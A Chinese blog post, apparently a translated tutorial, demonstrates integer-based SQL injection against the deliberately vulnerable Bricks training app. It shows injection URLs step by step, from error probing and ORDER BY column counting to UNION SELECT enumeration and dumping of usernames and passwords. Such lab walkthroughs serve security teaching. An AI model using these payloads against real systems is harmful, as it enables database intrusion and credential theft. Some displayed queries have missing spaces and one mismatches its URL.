URL: bricks/content-1/index.php?id=0
SQL Query: SELECT * FROM users WHERE idusers=0 LIMIT 1

这里的id参数允许通过浏览器的URL进行输入改变输入的值这将会产生不一样的输出。

URL: bricks/content-1/index.php?id=1
SQL Query: SELECT * FROM users WHERE idusers=1 LIMIT 1

这次,页面显示的内容是另一个用户的。自从参数id 被输入便成了一个有趣的测试起点。首先,需要见测试是否容易受到SQL注入攻击的。

URL: bricks/content-1/index.php?id=0′
SQL Query: SELECT * FROM users WHERE idusers=0′ LIMIT 1

页面将不会有输出,但是会显示一些错误的信息。这意味着id参数存在着注入点,并且可以插入我们的注入语句,然后干扰查询内容。注入代码必须用一种不打乱完整的SQL语句方式去插入。下一步是利用精心构造的SQL命令去验证漏洞是否存在。

URL: bricks/content-1/index.php?id=0 and 1=1
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=1 LIMIT 1

现在页面不显示任何错误。这是因为添加的SQL语句返回的是一个True值。那么如果添加的语句返回的不是一个true值会怎么样呢?

URL: bricks/content-1/index.php?id=0 and 1=2
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 LIMIT 1

由于注入的代码总是返回false,Web的页面将不再显示任何内容,只会显示错误的信息告诉用户是不错在的。这就证明注入的语句在id这个参数上确实可以执行的。

注入的代码可以进一步的修改而得以完成更高级的功能,包括获取、删除、改变一些重要的信息。然而,在目前阶段,没有清晰的关于数据库的知识,版本,表,列等信息。所以,这些细节信息必须首先枚举出来。枚举出当前数据库列数是相对比较简单的一项工作。

URL: bricks/content-1/index.php?id=0 order by 1
SQL Query: SELECT * FROM users WHERE idusers=0 order by 1 LIMIT 1

页面将不会显示任何问题,也不会出现错误信息。

URL: bricks/content-1/index.php?id=0 order by 2
SQL Query: SELECT * FROM users WHERE idusers=0 order by 2 LIMIT 1

页面显示的内不再有任何问题和错误。所以这证明至少存在有2个列。

URL: bricks/content-1/index.php?id=0 order by 3
SQL Query: SELECT * FROM users WHERE idusers=0 order by 3 LIMIT 1

这个页面显示的内容仍然没有任何问题和错误。所以它至少有三个列。

这个过程中不断增加 order by的值直到页面出现一些显示的变化之后。

URL: bricks/content-1/index.php?id=0 order by 8
SQL Query: SELECT * FROM users WHERE idusers=0 order by 8 LIMIT 1

这个页面显示的内容仍然没有任何问题和错误。所以它至少有八个列。

URL: bricks/content-1/index.php?id=0 order by 9
SQL Query: SELECT * FROM users WHERE idusers=0 order by 9 LIMIT 1

这次页面出现了一些错误,所以第九列是不存在的。这将确认这个表只有8列。

union select语句将会找到这8个列中哪一个会产生漏洞。

URL: bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

这次页面没有出现任何特殊的信息也非正常的页面。这是因为页面只返回了查询结果的第一行。如果是这种情况,就需要对注入代码进行小小的修改使第二行显示完整。这有很多方法可以做到。

URL: bricks/content-1/index.php?id=99999 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=99999 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

在这,假定数据库的存储用户信息的数量是小于99999。因为没有ID是99999的用户,这第一行明显的变成无效的了,而第二行将变得有效。于是便将改变输出到了页面上显示出来。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

尽可能的使第一部分命令失效。

这两种情况都会显示一些数字插入在真实的用户信息中。这些数字相对应的列就存在漏洞。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8LIMIT 1

第一个数字被替换成当前数据库的用户名,就是root@localhost

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8LIMIT 1

这将帮助我们获得数据库的版本。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8 LIMIT 1

当前数据库的名字将会被显示-bricks。现在必须枚举出当前数据库的表。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ LIMIT 1

因为只有一个表在bricks数据库中,所以它的信息会被显示出来。下一步是获取user表的列。

 

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ andtable_name=’users’ LIMIT 0,1 — – LIMIT 1

idusers的名字在users表的第一列。这两个LIMIT函数看起来在执行的查询语句中,这将会出现冲突而导致结果出现语法错误。为了避开这些问题,应紧接在注入的LIMIT函数后面,加入–注释,注释掉查询语句的其余部分。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTcolumn_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ andtable_name=’users’ LIMIT 1,1 — – LIMIT 1

name ?users?表的第二列。

这个过程需要持续到LIMIT 7,1(作为一个有8列的表,它的编号开始为0)。在这个过程的最后,所有的列明将会获取到下面这些:idusers, name, email, password, ua, ref, host, lang。用户名列和密码列将会是比较有趣的列。所以下一步需要通过注入语句获取到这些列里面的数据。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — – LIMIT 1

这将获得用户表里第一个用户和密码。CHAR(32)代表一个空格,这样放在用户和密码之间使其很容易去区分。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — – LIMIT 1

获得用户表里第二个用户和密码。这个过程持续到获取表里所有的用户名和密码。

参考:http://sechow.com/bricks/docs/content-page-1.html

页面下部广告

2 对 “[翻译]高级SQL注入 -基于整数”的想法;

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

鲁ICP备17018668号-1